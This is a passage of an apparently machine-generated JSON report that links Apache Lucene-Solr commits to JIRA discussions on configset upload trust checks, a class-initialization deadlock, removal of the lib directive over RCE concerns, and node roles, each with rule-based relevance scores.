\"status\":400,\r\n \"QTime\":2} , \"error\":{ \"metadata\":[ \"error-class\",\"org.apache.solr.common.SolrException\", \"root-error-class\",\"org.apache.solr.common.SolrException\"], \"msg\":\"Trying to make an untrusted ConfigSet update on a trusted configSet\", \"code\":400}} I then enable security and it works!!! \u279c dev git:(branch_9_0) \u2717 curl -u admin:password -X POST --header \"Content-Type:application/json\" --data-binary @test.json \"http://localhost:8983/solr/admin/configs?action=UPLOAD&name=test2&filePath=test.json\" { \"responseHeader\": {\r\n \"status\":0,\r\n \"QTime\":80} } Yes, that's what I would have expected to get for the untrusted request. Originally I also expected that I would be allowed to upload to the configset regardless if trusted is true or false due to the switch \u00a0-Dsolr.disableConfigSetsCreateAuthChecks=true We 're going to use authentication in future projects and currently worked around the upload issue. So I would not mind if the switch / untrusted upload mode is not available anymore in Solr 9 I updated the PR to main: https://github.com/apache/solr/pull/831 Commit 98852e5dc67e53f0f2131681c2b562264c3988af in solr's branch refs/heads/main from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=solr.git;h=98852e5dc67 ] SOLR-16110 : Using Schema/Config API breaks the File-Upload of Config Set File (#831) Co-authored-by: Steffen Moldenhauer Commit e0bf3d4a4bdea9c26e2d774529f36533a48b1411 in solr's branch refs/heads/branch_9x from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e0bf3d4a4bd ] SOLR-16110 : Using Schema/Config API breaks the File-Upload of Config Set File (#831) Co-authored-by: Steffen Moldenhauer Commit 88adac1ae64e4e9626ff593d175fa6732a2bf79e in solr's branch refs/heads/main from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=solr.git;h=88adac1ae64 ] SOLR-16110 : add CHANGES.txt Commit b9b64e16ab959e2fc25d98e8a4f8851cd3bc63a3 in solr's branch refs/heads/branch_9x from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=solr.git;h=b9b64e16ab9 ] SOLR-16110 : add CHANGES.txt Thanks smoldenhauer ! You should see the commit linked to your github handle as well since I based my changes on yours. Bulk closing 9.1 issues. Commit 7bd8229f4db031f81b84e15881a483244967a8e1 in lucene-solr's branch refs/heads/branch_8_11 from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=7bd8229f4db ] SOLR-16110 : Using Schema/Config API breaks the File-Upload of Config Set File (#831) Co-authored-by: Steffen Moldenhauer " - }, - "ghissue_refs": { - "831": "Shared PQ Based Early Termination for Concurrent Search #854" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: This, Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/ZkController.java", - "relevance": 8 - }, - { - "id": "SEC_KEYWORDS_IN_LINKED_BUG", - "message": "The bug tracking ticket SOLR-16110 contains some security-related terms: security", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-16110", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 831", - "relevance": 2 - } - ] - }, - { - "commit_id": "89fb1eef03da0a4fec2699a1ba17e6e78402ac28", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1697007754, - "hunks": 3, - "message": "SOLR-16165: Rare deadlock in SlotAcc initialization (#819)", - "changed_files": [ - "solr/core/src/java/org/apache/solr/search/facet/Constants.java", - "solr/core/src/java/org/apache/solr/search/facet/FacetFieldProcessorByArray.java", - "solr/core/src/java/org/apache/solr/search/facet/SlotAcc.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-16165": "The core of the issue is that if a parent class reference an instance of its own child class as a static field, a deadlock can be created if 1 thread tries to access the parent class and another thread to the child class. Thread A \"qtp1393828949-98\" #98 prio=5 os_prio=0 cpu=294.10ms elapsed=6252.75s allocated=53246K defined_classes=243 tid=0x00007fa47c007000 nid=0x349c4e in Object.wait() [0x00007f9896620000] java.lang.Thread.State: RUNNABLE at org.apache.solr.search.facet.SlotAcc.(SlotAcc.java:830) at org.apache.solr.search.facet.FacetFieldProcessorByHashDV.createCollectAcc(FacetFieldProcessorByHashDV.java:271) at org.apache.solr.search.facet.FacetFieldProcessorByHashDV.calcFacets(FacetFieldProcessorByHashDV.java:255) Thread B \"qtp1393828949-2379\" #2379 prio=5 os_prio=0 cpu=34.52ms elapsed=6013.46s allocated=20426K defined_classes=0 tid=0x00007fa49c081800 nid=0x34a58b in Object.wait() [0x00007f5fcfae7000] java.lang.Thread.State: RUNNABLE at org.apache.solr.search.facet.FacetFieldProcessorByArray.createCollectAcc(FacetFieldProcessorByArray.java:85) at org.apache.solr.search.facet.FacetFieldProcessorByArray.calcFacets(FacetFieldProcessorByArray.java:144) at org.apache.solr.search.facet.FacetFieldProcessorByArray.process(FacetFieldProcessorByArray.java:94) ... # Thread A : FacetFieldProcessorByHashDV.java:271 indexOrderAcc = new SlotAcc(fcontext) { , which accesses class SlotAcc , it would have a class init lock on SlotAcc (assuming first time loading SlotAcc in classloader) but BEFORE run to line SlotAcc.java:830 Thread B: FacetFieldProcessorByArray.java:85 countAcc = new SweepingCountSlotAcc(numSlots, this); . Accesses SweepingCountSlotAcc (also assuming first time loading SweepingCountSlotAcc in classloader), loads and initialize based on hierarchy SweepingCountSlotAcc > CountSlotArrAcc > CountSlotAcc -> SlotAcc , obtain lock and initialize SweepingCountSlotAcc , CountSlotArrAcc , CountSlotAcc but blocked on loading/initializing parent class SlotAcc , since Thread A has lock and is already initializing it Thread A: run to line 830 static final CountSlotAcc DEV_NULL_SLOT_ACC = new CountSlotAcc(null)... Found CountSlotAcc , it will attempt to load CountSlotAcc as well, but such lock is held by Thread B Deadlock in SlotAcc initialization At FullStory, we encountered this bug recently and created a fix on our fork. This also recently came up on the mailing list so opening a bug and will provide a PR shortly. We also encountered this similar problem. Opened PR 819 Could open this as a separate issue/PR, but I thought it'd be worth checking for other instances of this pattern in the codebase. I attached StaticInitializerReferencesSubClass.xml , a report from Intellij/IDEA that points out other cases (including the SlotAcc case). I'd guess that the SlotAcc case is particularly likely to manifest as deadlock because the subclass reference is buried near the end of the class. The others seem to be near the beginning of their class, so perhaps a narrower window to manifest as deadlock? Or perhaps there's something about the context in which the other cases are called that makes them not vulnerable (or less vulnerable) in practice? As a proof-of-concept I tried integrating palantir's `baseline-error-prone` gradle plugin, which adds a check for ClassInitializationDeadlock . It caught the DocRouter and TimeSource cases, but not any of the others (including SlotAcc). magibney I'd agree that as a separate issue, doing some cleanup of those would be valuable. These can be tricky to encounter and track down in the real world so fixing as many as we can seems like a valiant effort. I'd be happy to help with that. Commit b73a28c90cc552183a8a8b4c07d07c19a299732b in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=b73a28c90cc ] SOLR-16165 : Rare deadlock in SlotAcc initialization (#819) Commit ccc5db9fd04fa3f22e6f92968a899e40d2318357 in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=ccc5db9fd04 ] SOLR-16165 : Rare Deadlock in SlotAcc initialization Commit 4c8ea4893d16657ee2ae30e7c2ce89ad929e9a4a in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=4c8ea4893d1 ] SOLR-16165 : Rare deadlock in SlotAcc initialization (#819) Commit a7731e8acc56b6b1244abe753e336c2cae37075b in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=a7731e8acc5 ] SOLR-16165 : CHANGES.txt Commit d9a039729d1ddca6d03304627d2aad21eeb25006 in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d9a039729d1 ] SOLR-16165 : CHANGES.txt Commit c2399dbad4d3eb918a588a6fac92dc240e3d2aeb in solr's branch refs/heads/branch_9_1 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=c2399dbad4d ] SOLR-16165 : Rare deadlock in SlotAcc initialization (#819) Commit b7ec5b5ada327d0502760bed2e041f6ef5f36fd6 in solr's branch refs/heads/branch_9_1 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=b7ec5b5ada3 ] SOLR-16165 : CHANGES.txt Commit d22a0781aeadda9061dac167f8aec065dd60f433 in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d22a0781aea ] SOLR-16165 : CHANGES.txt Commit da67c104dab7b9be9d69a9484abf5411260ebdf7 in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=da67c104dab ] SOLR-16165 : CHANGES.txt Closing after the 9.1.1 release Commit 89fb1eef03da0a4fec2699a1ba17e6e78402ac28 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=89fb1eef03d ] SOLR-16165 : Rare deadlock in SlotAcc initialization (#819)" - }, - "ghissue_refs": { - "819": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: This", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/search/facet/Constants.java, solr/core/src/java/org/apache/solr/search/facet/SlotAcc.java, solr/core/src/java/org/apache/solr/search/facet/FacetFieldProcessorByArray.java", - "relevance": 8 - }, - { - "id": "SEC_KEYWORDS_IN_LINKED_BUG", - "message": "The bug tracking ticket SOLR-16165 contains some security-related terms: vulnerable", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-16165", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 819", - "relevance": 2 - } - ] - }, - { - "commit_id": "eff22ac1afbb16ba614bfcd190ba122b061ccdf2", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1699292953, - "hunks": 1, - "message": "SOLR-16781: Making tests pass", - "changed_files": [ - "solr/core/src/java/org/apache/solr/core/SolrConfig.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-16781": " directives in solrconfig.xml used to be recommended way for including additional jar files to the classpath for a particular collection or collections. For context: This feature required complex handling of \"trusted\" vs \"non-trusted\" configsets in configset upload API to keep Solr secure (i.e. to stop RCE attacks for non-authentication enabled deployments). This security feature also broke down recently due to a bug in Schema designer ( SOLR-16777 ). Supported alternatives exist that are safer: user can add the jar files to Solr's classpath use packages to use custom jars per collection In the light of these, there's no need to continue to support the directive going forward. I propose to remove the directives handling and functionality through this issue. Remove directives from Solr If there should be a such a feature , it should be in solr.xml This is a duplicate of SOLR-6681 from 2014! Supported alternatives exist that are safer [... e.g.] use packages to use custom jars per collection Is the package manager ready to take on all of the usecases that our users previously leaned on for? I haven't followed package-manager development too closely, but my understanding was that it still had certain limitations that would make it hard to replace e.g. support for \"standalone\" Solr deployments ( SOLR-16152 ). This feature required complex handling of \"trusted\" vs \"non-trusted\" configsets in configset upload API to keep Solr secure (i.e. to stop RCE attacks for non-authentication enabled deployments) Is the thought then that this ticket would also deprecate or remove the trusted/untrusted distinction in 10? Or is that still relevant even if goes away? I think the trusted/untrusted construct is a key pain point. I'm not familiar enough with the other two features that seem to require it to know if we can eliminate that complexity but there might be a way to simplify handling that removes the need for trusted/untrusted in its case. Rather than getting rid of entirely, change it so that by default, it throws an error for anything outside the solr classpath. Then add a startup level configuration that adds directories to the legal locations for . This could be some combination of sysprops/environment or even something in the possible replacement for solr.in.sh contemplated by SOLR-7871 . We can debate if these locations can be recursive, and what to do (if anything) about symlinks. Thus we wind up with a two stage process: The folks who install solr define the playground The folks who interact with solr do whatever they are permitted to within that playground. Ideally in addition to throwing an error when the config set tries to load the upload process would also run this check on any files uploaded to fail fast and friendly for the user. This way would have the benefit that organizations can tune their installation to be as strict or permissive as they like. We should create good clear documentation explaining that allowing libraries to be loaded from a location to which untrusted (or less trusted) users can cause a file to be written (via solr or otherwise) makes it possible for those with config-edit to effectively install code. If they want to run with scissors, knowing the danger, let them, just don't make it the default. I'm not leaping on the solr.xml suggestion because some installs run with solr.xml in zookeeper, and configuring locations where solr can look for stuff seems like something that will be be determined by sysadmin folks at larger organizations who wouldn't want to be mucking around with solr.xml which contains a lot of esoteric search related stuff they might break. I could probably be sold on solr.xml also being a potential source, but if we have more than one location to configure this, precedence and/or merging behavior needs to be clear. PS: solr.xml loading from ZK is deprecated and gone in 10.0. But a config in solr.xml similar to solr.allowPaths makes sense. ${solr.allowPaths:} The default could be empty set, i.e. nothing allowed, and it would be up to users to define defaults. There could be a few special values: \"*\" means allow all, for quick back-compat etc. Or would it be enough to simply fail if any is outside the already defined solr.allowPaths (which defaults to $SOLR_HOME, $SOLR_DATA_HOME & coreRootDir? Added a patch for this (branch_8_11). Updated the patch, this is ready to commit. For the record: on ASF slack, janhoy and houstonputman expressed concerns regarding disabling directives by default. Hence, I'm not committing it right away, even though I think this is the right thing to do. No feature should be enabled by default that can be a security risk for RCEs etc. This holds up the 8.11.3 release, unfortunately. I wonder how we can start messaging to extension developers what they should be doing? A Plugin Guide? I'm thinking of all the installations of querqy that jsut use the lib dir... I'm definitely in favor of getting rid of the lib tag because there are better alternatives. \u00a0Let's do so for the next minor release like 9.5! \u00a0(flag to disable; remove altogether in main) No feature should be enabled by default that can be a security risk for RCEs etc That's a sweeping statement. \u00a0Many things can be a risk; Solr has tons of features and the vast majority of them are enabled by default, for better or worse. Take your pick... remember the XML query parser CVE? \u00a0Who would have thought. If I could block one thing by default to enhance Solr security, it'd be any sort of configuration editing, either at core level, or even ConfigSet upload. \u00a0Maybe that's not \"one thing\", it's a category, and I recognize the ConfigSet aspect isn't workable for most users (even though this is how I run Solr at work \u2013 immutable infrastructure). \u00a0Hello FileSystemConfigSetService! \u00a0Sorry; getting a bit off topic. I am for introducing solr.lib.directive.allowed property, and making it default to \"true\" in 8.x and 9.x, but with deprecation logging. Then in main (10.0) we default it to \"false\", and in 11.0 it is removed entirely. This of course requires proper communication, perhaps a blog post or two, etc. It would be a great way to educate users about modules, packages and shardedLib. I like the suggestion that janhoy provided. I'm going to remove this from \"Release Version\" 8.11.3, unless y'all are ready to merge this (with the option set to \"true\" by default). ichattopadhyaya What's the followup plan on this? Do you agree with the conservative plan proposed above Deprecate in 9.6 Enabled by default in 9.x (but with deprecation logging) Disabled by default in 10.x Removed from 11.0 We can remove in 10; no need to wait for 11. Agreed. Remove in 10. Possibly add an option to disable in 9 which is set to \"false\" by default. This option is not included in 10 obviously. Sure, there is still a few 9.x releases where users can start changing their habits. And any user upgrading to 10.0 will have a round of testing where she will have time to move libs to another location, or stay on 9.x a bit longer. Let's do it..." - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/core/SolrConfig.java", - "relevance": 8 - }, - { - "id": "SEC_KEYWORDS_IN_LINKED_BUG", - "message": "The bug tracking ticket SOLR-16781 contains some security-related terms: secure, security, rce", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-16781", - "relevance": 2 - } - ] - }, - { - "commit_id": "2da4332072ffffb0581ef60d11de5b0d157452ac", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698107825, - "hunks": 79, - "message": "SOLR-15694, 15715: Node roles and dedicated query coordinator nodes", - "changed_files": [ - "solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java", - "solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java", - "solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java", - "solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java", - "solr/core/src/java/org/apache/solr/core/CoreContainer.java", - "solr/core/src/java/org/apache/solr/core/NodeRoles.java", - "solr/core/src/java/org/apache/solr/handler/ClusterAPI.java", - "solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java", - "solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java", - "solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java", - "solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java", - "solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java", - "solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java", - "solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java", - "solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java", - "solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java", - "solr/core/src/java/org/apache/solr/request/SimpleFacets.java", - "solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java", - "solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java", - "solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java", - "solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java", - "solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java", - "solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java", - "solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java", - "solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java", - "solr/core/src/java/org/apache/solr/update/UpdateLog.java", - "solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java", - "solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java", - "solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml", - "solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml", - "solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml", - "solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml", - "solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java", - "solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java", - "solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java", - "solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java" - ], - "message_reference_content": [], - "jira_refs": { - "SOLR-15694": "I think we should have first class support for starting a Solr node in a mode whereby no cores will be placed on them. These nodes are useful for certain scenarios: Dedicated overseer nodes Nodes where only plugins are installed and used (e.g. cluster/node level plugins) Dedicated nodes for querying (more on this to come later). Today, to achieve this effect, one can: 1. start a node (which will make it join live_nodes and be immediately available for replica placement). 2. Put replica placement rules or autoscaling policies to prevent replicas from being placed there. This is not standardized, 8x has two ways to achieve this (replica placement rules and autoscaling framework), 9x has a new autoscaling framework. Proposing a start parameter for starting a node that starts the node in this configuration, and then internally this is handled appropriately (across 8x and 9x). This should be Kubernetes/Docker friendly as well, since it is easy to add an additional parameter for a startup (instead of putting things into autoscaling.json in ZK via init scripts). Concept of node roles and non-data nodes This has been discussed many times. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. One role coud be \"zk\", which would let the node start an embedded zookeeper (for a future managed zk feature), and then you could combine it with \"data\" if the node should also be eligible for index/search. There may be other roles such as \"streaming\" perhaps which would only host streaming expression jobs, etc. This is definitely SIP worthy. janhoy , thanks. That is good feedback. This has been discussed many times. Can you please point me to that? Will link to that in future discussions. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. Today, we have a role \"overseer\" for a node. However, many users look for dedicated overseer nodes (nodes that don't handle querying or indexing), and there's no easy way today. and then you could combine it with \"data\" if the node should also be eligible for index/search. Do you recommend that we have a role \"data\" for nodes (regular nodes as we have today)? In that case, what would absence of this \"data\" role for a node mean the node doesn't host any cores? This seems reasonable for what I intend to achieve with usecases I have in mind. This is definitely SIP worthy. I'll create one, thanks janhoy We already have a file /roles.json in ZK. It has a key called \"overseer\" now. We can add a new key called \"query-nodes\" and add nodes to that Ah, did not know about that. A thousand questions pop up, such as: Should roles be supported in leader/follower mode? What would be the best way to designate roles to a node? A global file in ZK like /roles.json is one way. ENV_VARs or SysProps at each node is another. How dynamic do we need this to be, are there business needs to (re)assign roles at runtime, and in that case do we need a REST API for it? If dynamic, what role(s) would a brand new node (or k8s pod) added to the cluster be assigned? What happens if you have only assigned a role to one node and that node leaves the cluster? Should that be configurable, or would there be some cluster level plugin monitoring events, that makes such decisions? etc etc Looking forward to seeing a SIP with a thorough design and recommendation on this. Looking forward to seeing a SIP with a thorough design and recommendation on this. I'll write up the SIP today. We can address these questions there and link to this JIRA. Here's the SIP: https://cwiki.apache.org/confluence/display/SOLR/SIP-15+Node+roles Discussion is happening here: https://lists.apache.org/thread.html/rb3cbfddb6e3af9c671d037ce1e7341544a2f1ab287f184c8f53ac44c%40%3Cdev.solr.apache.org%3E Browsing the other SIPs, SIP-11 is potentially related, as ir proposes some nice cleanup of accessing cluster-level config. Not saying we should not wait for that, but I'll ping ab to explore synergies. Commit 24e5ba7105ea774de0b319337c6809d2839b9f8a in solr's branch refs/heads/jira/SOLR15694 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=24e5ba7 ] SOLR-15694 : Ref guide changes Commit e32e58c20be0540c6e89679a57aac26616911e3d in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e32e58c ] SOLR-15694 : Node roles Commit e19a13f8146a713fe883c9a17809dc542638cc85 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e19a13f ] SOLR-15694 : Node roles Can you close this and also move SIP-15 to correct section in the list? https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ichattopadhyaya why is this till open? Also the SIP (see previous comment) is listed as \"under discussion\". I'll try once moce ichattopadhyaya noble.paul Can you please move the SIP-15 to the \"Implemented\" section here https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ? Done. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Commit 2da4332072ffffb0581ef60d11de5b0d157452ac in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2da4332072f ] SOLR-15694 , 15715: Node roles and dedicated query coordinator nodes Commit b54a788fe71c7f87a8b8564461cb196c138fc7ce in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=b54a788fe71 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Commit 002b3ce67bea7dfe114c3b7dfdceb00b8777363c in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=002b3ce67be ] Revert \" SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time)\" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce. Commit ace7641edb762d31519df1db845885dfd31caee4 in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=ace7641edb7 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Hi ichattopadhyaya , We are trying to use the Node roles feature to set a preferred Overseer in our Solr 9 fork. What is the purpose of having overseerDesignate in addition to specifying a preferredOverseer ? How is it specified via startup parameters? In our fork, I am configuring one node in the SolrCloud cluster with -Dsolr.node.roles=overseer:preferred,data:on . All other nodes are set to overseer:allowed,data:on by default. I have observed that during a rolling restart, the OverseerNodePrioritizer almost always elects the preferred Overseer as the Overseer, provided it is up. Additionally, since the overseerDesignate list remains empty (until the preferred Overseer is added to it), it does not affect this outcome." - }, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "releases/lucene-solr/8.11.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: This, ZooKeeper, SolrCloud, Solr", - "relevance": 8 - }, - { - "id": "CHANGES_RELEVANT_FILES", - "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java, solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java, solr/core/src/java/org/apache/solr/request/SimpleFacets.java, solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml, solr/core/src/java/org/apache/solr/handler/ClusterAPI.java, solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java, solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java, solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java, solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java, solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java, solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java, solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java, solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java, solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java, solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java, solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java, solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java, solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml, solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java, solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java, solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml, solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java, solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java, solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java, solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java, solr/core/src/java/org/apache/solr/core/NodeRoles.java, solr/core/src/java/org/apache/solr/update/UpdateLog.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml, solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java, solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: handler, read, request, actor, clouds", - "relevance": 4 - }, - { - "id": "BUG_IN_MESSAGE", - "message": "The commit message references some bug tracking ticket: SOLR-15694", - "relevance": 2 - } - ] - }, - { - "commit_id": "2088d743db9304492ab19c14bc80c6187f172b79", - "repository": "https://github.com/apache/lucene-solr", - "timestamp": 1698088740, - "hunks": 79, - "message": "SOLR-15694, SOLR-15715: Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul ", - "changed_files": [ - "solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java", - "solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java", - "solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java", - "solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java", - "solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java", - 